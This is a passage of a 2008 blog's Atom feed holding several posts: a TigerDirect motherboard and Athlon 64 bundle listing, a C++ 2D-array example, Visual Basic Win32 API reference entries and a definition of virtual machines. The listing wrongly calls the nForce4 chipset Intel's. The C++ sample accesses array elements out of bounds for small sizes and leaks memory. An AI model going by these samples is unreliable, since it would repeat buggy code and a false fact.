Arial; font-size: 14px; "&gt;&lt;p&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-size: 16px; font-weight: normal; "&gt;&lt;table cellpadding="0" cellspacing="0" border="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://images.tigerdirect.com/item-details/clearpixel.gif" width="15" height="1" /&gt;&lt;/td&gt;&lt;td valign="top"&gt;&lt;table width="635" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="font_size3" colspan="3" style="color: rgb(0, 0, 0); font-size: 14px; "&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right" width="100%" colspan="3"&gt;&lt;table id="add2cart" class="hid" style="left: 525px; position: absolute; visibility: hidden; "&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://images.tigerdirect.com/homepage/add.gif" width="276" height="17" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="100%" colspan="3"&gt;&lt;table width="100%" bgcolor="#D9E1F4"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td width="84%" bgcolor="#D9E1F4" class="font_size4bold" style="color: rgb(0, 0, 0); font-size: 18px; font-weight: bold; "&gt;&lt;h1 style="font-family: Arial, Helvetica, sans-serif; font-size: 14px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;Gigabyte K8NXP-SLI Socket 939 ATX Motherboard with an AMD Athlon 64 3400+ Processor and Free CPU Cooling Fan&lt;/h1&gt;&lt;/td&gt;&lt;td width="16%" bgcolor="#FFFFFF" align="center"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td align="center" class="font_right_prod" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; "&gt;&lt;a href="http://www.tigerdirect.com/applications/searchtools/item-details.asp?EdpNo=1225616&amp;amp;csid=ITD&amp;amp;body=REVIEWS" style="text-decoration: none; color: rgb(0, 102, 204); "&gt;1  User Rated&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="center"&gt;&lt;img src="http://images.tigerdirect.com/ratingstars/star10.gif" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;table border="0" cellspacing="0" cellpadding="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://images.tigerdirect.com/item-details/clearpixel.gif" width="1" height="10" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;a href="javascript:MM_openBrWindow('/include/AddCartfromGallery.asp?EdpNo=1225616&amp;csid=ITD&amp;Sku=MBM-K8NXP-3400&amp;imgcart=1','ImageCart','scrollbars=no,width=525,height=700')" style="text-decoration: underline; color: rgb(0, 102, 204); "&gt;&lt;img name="imgLarge" src="http://images.tigerdirect.com/skuimages/large/MBM-K8NXP-3400-main2.jpg" border="0" alt="K8NXP-SLI &amp;amp; A64 3400+" onerror="this.src='http://images.tigerdirect.com/SearchTools/no_image-med.gif';" width="300" height="300" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table border="0" cellspacing="0" cellpadding="0" width="90%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;a href="http://www.tigerdirect.com/applications/searchtools/search.asp?keywords=GIGABYTE&amp;amp;mnf=365" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; text-decoration: none; color: rgb(0, 102, 204); "&gt;&lt;img src="http://images.tigerdirect.com/VendorLogos/gigabyte2_logo.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="font_size1" style="color: rgb(0, 0, 0); font-size: 10px; "&gt;&lt;a href="http://www.tigerdirect.com/applications/searchtools/search.asp?keywords=GIGABYTE&amp;amp;mnf=365" style="text-decoration: none; color: rgb(0, 102, 204); "&gt;More GIGABYTE Products&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;To the Extreme Power&lt;br /&gt;Gigabyte 8? Series for AMD's 64-Bit CPUs&lt;br /&gt;&lt;/b&gt;The most graphics ripping, high-performance motherboard on our shelves! Check out the packaging–it's sure to be a collector's item. But what's inside is truly a treasure. We proudly present Gigabyte Technology's 8? Series K8NXP-SLI Socket 939 Motherboard! Specially designed for AMD's amazing Athlon 64FX and Athlon 64 processors! This incredible board puts a virtual symphony of innovations to work to delivers astounding performance to gamers and extreme PC users. You will enjoy multimedia digital experiences beyond your imagination. Gigabyte Technology's 8? (Sigma) Series represents the latest Gigabyte flagship motherboard and embodies a balanced merging of top-line hardware and architecture with comprehensive software features. Based on Intel's breakthrough nVidia nForce4 SLI chipset, the 8? Series K8NXP-SLI supports nVidia SLI Multi-GPU, Superior Dual channel DDR400 architecture, Dual Power System (D.P.S.), Dual Gigabit LAN and wireless technology, RAID/SATA II/SATA plus nVidia ActiveArmor powered Firewall/Norton Internet Security. This 8? Series motherboard has all the characteristics of the ultimate high-end system, offering complete hardware and software functions to satisfy the most urgent cravings of the most extreme PC users. If you're computer extremist–given to fits of dire anxiety if phenomenal power and speed are not at your fingertips—you can't pass up this 8? Series special! The best board we have in the house at an everyday low price that defies the rest of the industry! Hurry, supplies will not last long!&lt;/p&gt;&lt;p&gt;Take advantage of this great offer! Buy this great motherboard in a bundle with the AMD Athlon 64 3400+ Processor and a free Gigabyte Cooling Fan!&lt;/p&gt;&lt;p&gt;&lt;b&gt;This Bundle Includes&lt;/b&gt;&lt;/p&gt;&lt;table width="100%" border="0" cellpadding="5"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;a href="http://www.tigerdirect.com/applications/searchtools/item-Details.asp?EdpNo=1197990&amp;amp;sku=G452-2302" style="text-decoration: none; color: rgb(0, 102, 204); "&gt;&lt;img src="http://images.tigerdirect.com/itemdetails/G452-2302_barebone.jpg" width="150" height="150" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign="top"&gt;&lt;p&gt;&lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;font-size:78%;"&gt;&lt;a href="http://www.tigerdirect.com/applications/searchtools/item-Details.asp?EdpNo=1197990&amp;amp;sku=G452-2302" style="text-decoration: none; color: rgb(0, 102, 204); "&gt;&lt;b&gt;Gigabyte K8NXP-SLI nVidia Socket 939 ATX Motherboard&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;The most graphics ripping, high-performance motherboard on our shelves! Check out the packaging–it's sure to be a collector's item. But what's inside is truly a treasure. We proudly present Gigabyte Technology's 8 Series K8NXP-SLI Socket 939 Motherboard! Specially designed for AMD's amazing Athlon 64FX and Athlon 64 processors! &lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;font-size:78%;"&gt;- Chipset: NVIDIA nForce4 SLI&lt;br /&gt;- Front Side Bus: 2000MHz&lt;br /&gt;- Processor Interface: Socket 939&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;font-size:78%;"&gt;&lt;/span&gt;&lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;font-size:78%;"&gt;&lt;a target="blank" href="http://www.tigerdirect.com/applications/searchtools/item-Details.asp?EdpNo=1197990&amp;amp;sku=G452-2302" style="text-decoration: none; color: rgb(0, 102, 204); "&gt;Click Here For More Information!&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top" colspan="2"&gt;&lt;p align="center"&gt;&lt;b&gt;&lt;img src="http://images.tigerdirect.com/itemDetails/bundleline.jpg" /&gt;&lt;/b&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;a href="http://www.tigerdirect.com/applications/searchtools/item-Details.asp?EdpNo=1079102&amp;amp;sku=CP2-A64-34009%20C" style="text-decoration: none; color: rgb(0, 102, 204); "&gt;&lt;img src="http://images.tigerdirect.com/itemdetails/AMD_Athlon_64.jpg" border="0" width="150" height="150" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign="top"&gt;&lt;p&gt;&lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;font-size:78%;"&gt;&lt;a href="http://www.tigerdirect.com/applications/searchtools/item-Details.asp?EdpNo=1079102&amp;amp;sku=CP2-A64-34009%20C" style="text-decoration: none; color: rgb(0, 102, 204); "&gt;&lt;b&gt;AMD Athlon 64 3400+ Processor &lt;/b&gt;&lt;/a&gt;&lt;br /&gt;AMD64 technology is AMD’s approach to 64-bit computing which doubles the number of processor registers and increases the addressable memory space well beyond 4GB for increased performance and new, cinematic-computing experiences. Processors with AMD64 technology offer leadingedge performance on today’s software applications while enabling a seamless migration to future 64-bit computing.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;font-size:78%;"&gt;- Processor Speed: 64 3400+ / 2.40GHz&lt;br /&gt;- Bus Speed: 1600MHz &lt;br /&gt;- Processor Socket: Socket 939&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;font-size:78%;"&gt;&lt;/span&gt;&lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;font-size:78%;"&gt;&lt;a href="http://www.tigerdirect.com/applications/searchtools/item-Details.asp?EdpNo=1079102&amp;amp;sku=CP2-A64-34009%20C" style="text-decoration: none; color: rgb(0, 102, 204); "&gt;Click Here For More Information!&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top" colspan="2" height="41"&gt;&lt;p align="center"&gt;&lt;b&gt;&lt;img src="http://images.tigerdirect.com/itemDetails/bundleline.jpg" /&gt;&lt;/b&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top" width="17%"&gt;&lt;img src="http://images.tigerdirect.com/itemDetails/MBM-K8NXP-3200/MBM-K8NXP-3200-out3-hl.jpg" width="150" height="150" border="0" /&gt;&lt;/td&gt;&lt;td valign="top" width="83%"&gt;&lt;p&gt;&lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;font-size:78%;"&gt;&lt;b&gt;Free Gigabyte Neon Cooler 8-Pro Fan&lt;/b&gt;&lt;br /&gt;GIGABYTE TECHNOLOGY presents the new Neon Cooler 8 Series of CPU fansinks that target discerning PC gamers. Allows your system to run smoothly, efficiently and effectively, without the threat of heat degradation. Provides superior heat protection for AMD AthlonTM FX 55 / AthlonTM 64 4000+ Processors.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;font-size:78%;"&gt;- Noise: 19 dB(A) &lt;br /&gt;- Fan Speed: 1700 ~ 3500RPM&lt;br /&gt;- Bearing Type: Ball Bearin&lt;/span&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-6955121113905530481?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/6955121113905530481/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=6955121113905530481' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/6955121113905530481'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/6955121113905530481'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2008/10/gigabyte-k8nxp-sli.html' title='Gigabyte K8NXP-SLI'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-8971445220947664106</id><published>2008-10-06T05:00:00.000-07:00</published><updated>2008-10-06T05:04:26.207-07:00</updated><title type='text'>Passing 2D array To a Function in c++</title><content type='html'>#include &lt;iostream.h&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void Fill  (int ** A, unsigned rows, unsigned cols, int val);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main() {&lt;br /&gt;    int i;&lt;br /&gt; &lt;br /&gt;    int R, C; // size of the array in rows and columns&lt;br /&gt;    cout &lt;&lt; "Please enter the size of the array in rows and columns\n"&lt;br /&gt;         &lt;&lt; "rows=";&lt;br /&gt;    cin&gt;&gt; R;&lt;br /&gt;    cout&lt;&lt; "cols=";&lt;br /&gt;    cin&gt;&gt; C;&lt;br /&gt;   &lt;br /&gt;    int ** A;&lt;br /&gt;   A= new int* [R];&lt;br /&gt;    for (i=0; i&lt;R; i++)&lt;br /&gt;      A[i]= new int [C];&lt;br /&gt;       &lt;br /&gt;    ///  ACTUALLY A IS NOW 2D Array&lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;    Fill(A, R, C, 5);&lt;br /&gt; &lt;br /&gt;;&lt;br /&gt;     cout&lt;&lt;"\n"&lt;&lt;A[5][5]&lt;&lt;"\n";&lt;br /&gt;     A[5][6]=5;&lt;br /&gt;&lt;br /&gt;    return(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void Fill  (int ** A, unsigned rows, unsigned cols, int val) {&lt;br /&gt;    for (unsigned i=0; i&lt;rows; i++)&lt;br /&gt;        for (unsigned j=0; j&lt;cols; j++)&lt;br /&gt;            A[i][j]=i*j;// You Can Use "val" varible&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-8971445220947664106?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/8971445220947664106/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=8971445220947664106' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/8971445220947664106'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/8971445220947664106'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2008/10/passing-2d-array-to-function-in-c.html' title='Passing 2D array To a Function in c++'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-7968046900147462824</id><published>2008-10-02T22:04:00.000-07:00</published><updated>2008-10-02T22:10:54.670-07:00</updated><title type='text'>GetWindowRect Function</title><content type='html'>&lt;h1&gt;GetWindowRect Function&lt;/h1&gt; &lt;p&gt;Declare Function GetWindowRect Lib "user32.dll" (ByVal hwnd As Long, lpRect  As &lt;a href="http://mech.math.msu.su/%7Evfnik/WinApi/r/rect.html"&gt;&lt;/a&gt;RECT) As Long   &lt;/p&gt;&lt;p&gt;&lt;b&gt;Platforms:&lt;/b&gt; Win 32s, Win 95/98, Win NT  &lt;/p&gt;&lt;p&gt;&lt;b&gt;GetWindowRect&lt;/b&gt; reads the size and position of a window. This  information is put into the variable passed as &lt;var&gt;lpRect&lt;/var&gt;. The rectangle  receives the coordinates of the upper-left and lower-right corners of the  window. If the window is past one of the edges of the screen, the values will  reflect that (for example, if the left edge of a window is off the screen, the  rectangle's &lt;var&gt;.Left&lt;/var&gt; property will be negative). The function returns 0  if an error occured, or 1 if successful.  &lt;/p&gt;&lt;dl&gt;&lt;dt&gt;&lt;var&gt;hwnd&lt;/var&gt;   &lt;/dt&gt;&lt;dd&gt;The handle of the window to read the position and width of.    &lt;/dd&gt;&lt;dt&gt;&lt;var&gt;lpRect&lt;/var&gt;   &lt;/dt&gt;&lt;dd&gt;Variable that receives the coordinates of the upper-left and lower-right    corners of the window. &lt;/dd&gt;&lt;/dl&gt; &lt;p&gt;&lt;b&gt;Example:&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt; &lt;/p&gt;&lt;pre&gt;' Display the width and height of window Form1&lt;br /&gt;' Width and height can be calculated from the coordinates returned in the rectangle.&lt;br /&gt;Dim r As RECT  ' receives window rectangle&lt;br /&gt;Dim retval As Long  ' return value&lt;br /&gt;Type RECT&lt;br /&gt;      Left As Long&lt;br /&gt;      Top As Long&lt;br /&gt;      Right As Long&lt;br /&gt;      Bottom As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;retval = &lt;b&gt;GetWindowRect&lt;/b&gt;(Form1.hWnd, r)  ' set r equal to Form1's rectangle&lt;br /&gt;Debug.Print "Width ="; r.Right - r.Left&lt;br /&gt;Debug.Print "Height ="; r.Bottom - r.Top&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-7968046900147462824?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/7968046900147462824/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=7968046900147462824' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/7968046900147462824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/7968046900147462824'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2008/10/getwindowrect-function-declare-function.html' title='GetWindowRect Function'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-5536739872691555428</id><published>2008-09-26T21:36:00.000-07:00</published><updated>2008-09-26T21:37:15.374-07:00</updated><title type='text'>Win 32 API Sleep</title><content type='html'>&lt;h1&gt;Sleep Function&lt;/h1&gt; &lt;p&gt;&lt;code class="declare"&gt;Declare Sub Sleep Lib "kernel32.dll" (ByVal  dwMilliseconds As Long)&lt;/code&gt;  &lt;/p&gt;&lt;p&gt;&lt;b&gt;Platforms:&lt;/b&gt; Win 32s, Win 95/98, Win NT  &lt;/p&gt;&lt;p&gt;&lt;b&gt;Sleep&lt;/b&gt; pauses program execution for a certain amount of time. This is  more accurate than using a do-nothing loop, waiting for a certain amount of time  to pass. The function does not return a value.  &lt;/p&gt;&lt;dl&gt;&lt;dt&gt;&lt;var&gt;dwMilliseconds&lt;/var&gt;   &lt;/dt&gt;&lt;dd&gt;The number of milliseconds to halt program execution for. &lt;/dd&gt;&lt;/dl&gt; &lt;p&gt;&lt;b&gt;Example:&lt;/b&gt; &lt;/p&gt;&lt;pre&gt;&lt;code class="example"&gt;' Pause the program for 2 seconds, displaying the system&lt;br /&gt;' time before and after the pause.&lt;br /&gt;&lt;br /&gt;Debug.Print "The time is "; Time$  ' display the current time&lt;br /&gt;&lt;b&gt;Sleep&lt;/b&gt; 2000  ' 2000 milliseconds = 2 seconds to delay&lt;br /&gt;Debug.Print "The time is "; Time$  ' this time will be 2 seconds later&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-5536739872691555428?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/5536739872691555428/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=5536739872691555428' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/5536739872691555428'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/5536739872691555428'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2008/09/win-32-api-sleep.html' title='Win 32 API Sleep'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-5031149138307192332</id><published>2008-09-22T03:11:00.000-07:00</published><updated>2008-09-22T03:13:53.542-07:00</updated><title type='text'>virtual machine (VM)</title><content type='html'>A virtual machine (VM) is an environment, usually a program or operating system&lt;br /&gt;which does not physically exist but is created within another environment. In this context, a VM is called a "guest" while the environment it runs within is called a "host." Virtual machines are often created to execute an instruction set different than that of the host environment. One host environment can often run multiple VMs at once. Because VMs are separated from the physical resources they use, the host environment is often able to dynamically assign those resources among them.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-5031149138307192332?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/5031149138307192332/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=5031149138307192332' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/5031149138307192332'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/5031149138307192332'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2008/09/virtual-machine-vm-is-environment.html' title='virtual machine (VM)'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-5379583055103544378</id><published>2008-09-19T20:35:00.000-07:00</published><updated>2008-09-19T20:42:12.713-07:00</updated><title type='text'>WIN 32 API -GetPixel</title><content type='html'>&lt;h1&gt;GetPixel Function&lt;/h1&gt; &lt;h2&gt;Declaration&lt;/h2&gt; &lt;p&gt;Declare Function GetPixel Lib "gdi32.dll" (ByVal hdc As Long, ByVal nXPos As  Long, ByVal nYPos As Long) As Long&lt;/p&gt; &lt;h2&gt;Platforms&lt;/h2&gt; &lt;p&gt; &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Windows 95:&lt;/b&gt; Supported.    &lt;/li&gt;&lt;li&gt;&lt;b&gt;Windows 98:&lt;/b&gt; Supported.    &lt;/li&gt;&lt;li&gt;&lt;b&gt;Windows NT:&lt;/b&gt; Requires Windows NT 3.1 or later.    &lt;/li&gt;&lt;li&gt;&lt;b&gt;Windows 2000:&lt;/b&gt; Supported.    &lt;/li&gt;&lt;li&gt;&lt;b&gt;Windows CE:&lt;/b&gt; Requires Windows CE 1.0 or later. &lt;/li&gt;&lt;/ul&gt;  &lt;h2&gt;Description &amp;amp; Usage&lt;/h2&gt; &lt;p&gt;&lt;b&gt;GetPixel&lt;/b&gt; determines the color of a specific pixel on a device. The  function finds the RGB value of the pixel which is checked.&lt;/p&gt; &lt;h2&gt;Return Value&lt;/h2&gt; &lt;p&gt;If an error occured, the function returns &amp;amp;HFFFF. If successful, the  function returns the RGB value of the pixel which was checked.&lt;/p&gt; &lt;h2&gt;Visual Basic-Specific Issues&lt;/h2&gt; &lt;p&gt;None.&lt;/p&gt; &lt;h2&gt;Parameters&lt;/h2&gt; &lt;p&gt; &lt;/p&gt;&lt;dl&gt;&lt;dt&gt;&lt;var&gt;hdc&lt;/var&gt;   &lt;/dt&gt;&lt;dd&gt;A handle to a device context to the device to check a pixel of.    &lt;/dd&gt;&lt;dt&gt;&lt;var&gt;nXPos&lt;/var&gt;   &lt;/dt&gt;&lt;dd&gt;The x-coordinate of the pixel to determine the color of.    &lt;/dd&gt;&lt;dt&gt;&lt;var&gt;nYPos&lt;/var&gt;   &lt;/dt&gt;&lt;dd&gt;The y-coordinate of the pixel to determine the color of. &lt;/dd&gt;&lt;/dl&gt;  &lt;h2&gt;Example(VB 6.0)&lt;br /&gt;&lt;/h2&gt; &lt;pre&gt; Fill all of window Form1 with the color which is located at&lt;br /&gt;' coordinate (75,100)&lt;br /&gt;Dim rgbVal As Long  ' RGB color of the pixel&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;' Determine the color of the pixel on Form1 at (75,100).&lt;br /&gt;rgbVal = &lt;b&gt;GetPixel&lt;/b&gt;(Form1.hDC, 75, 100)&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-5379583055103544378?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/5379583055103544378/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=5379583055103544378' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/5379583055103544378'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/5379583055103544378'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2008/09/win-32-api-getpixel.html' title='WIN 32 API -GetPixel'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-524771933028316655</id><published>2008-09-18T01:38:00.000-07:00</published><updated>2008-09-18T01:48:20.449-07:00</updated><title type='text'>WIN 32 API -SET FILE TIME</title><content type='html'>&lt;span style="font-weight: bold;"&gt;SetFileTime Function&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Declare Function SetFileTime Lib "kernel32.dll" (ByVal hFile As Long, lpCreationTime As FILETIME, lpLastAccessTime As FILETIME, lpLastWriteTime As FILETIME) As Long&lt;br /&gt;Platforms&lt;br /&gt;&lt;br /&gt;    * Windows 95: Supported.&lt;br /&gt;    * Windows 98: Supported.&lt;br /&gt;    * Windows NT: Requires Windows NT 3.1 or later.&lt;br /&gt;    * Windows 2000: Supported.&lt;br /&gt;    * Windows CE: Requires Windows CE 1.0 or later.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Description &amp;amp; Usage&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;SetFileTime sets the creation, last-accessed, and last-modified (last written-to) dates and times associated with a file. All the times are in UTC time (Coordinated Universal Time, a.k.a. Greenwich Mean Time (GMT)), not in the system's local time. The times actually stored on the system may vary slightly from the times passed to the function because file times are not stored with perfect resolution (for example, seconds data may be ignored).&lt;br /&gt;Return Value&lt;br /&gt;&lt;br /&gt;If an error occured, the function returns 0 (use GetLastError to get the error code). If successful, the function returns a non-zero value.&lt;br /&gt;Visual Basic-Specific Issues&lt;br /&gt;&lt;br /&gt;None.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Parameters&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;hFile&lt;br /&gt;    A handle to the opened file to set the times of. The file must have been opened with at least write-level access.&lt;br /&gt;lpCreationTime&lt;br /&gt;    The date and time to set as the file's creation time.&lt;br /&gt;lpLastAccessTime&lt;br /&gt;    The date and time to set as the file's last access time.&lt;br /&gt;lpLastWriteTime&lt;br /&gt;    The date and time to set as the file's last write-to (modification) time.&lt;br /&gt;&lt;br 